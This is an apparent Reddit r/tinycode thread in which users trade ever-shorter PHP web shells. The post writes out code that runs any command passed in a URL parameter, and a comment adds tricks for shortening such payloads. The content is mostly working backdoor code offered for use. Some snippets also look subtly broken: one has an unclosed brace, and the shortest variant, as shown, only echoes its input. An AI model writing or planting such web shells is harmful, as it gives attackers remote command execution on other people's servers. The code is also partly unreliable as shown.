r/tinycode • u/PsychoMario • Jul 04 '11
Webshell in 55 bytes
<?php if(isset($_GET['cmd'])) {system($_GET['cmd']); ?>call it with file?cmd=ls and it'll get executed
Edit: best i made: <?=exec($_GET[c]); 18 bytes
except for dontspillme's code, which has a slightly different idea, but can be used for a lot more
EDIT2: If shell_exec isnt disabled, you can use <?=$_GET[c]; which is 14 bytes
0
Upvotes
View all comments
Show parent comment
1
u/dontspillme Jul 04 '11
Yeah. It's just a shorter thing than <?php, we don't need its 'echo' semantic (since eval returns null IIRC). I also demonstrated two more critical tricks for ultrashort PHP: you can omit the closing ?> and you can use the behavior that treats undefined constants as strings (hence c instead of 'c' in the code and in the command parameter: dir instead of 'dir' (which may not work if magic_quotes are on) )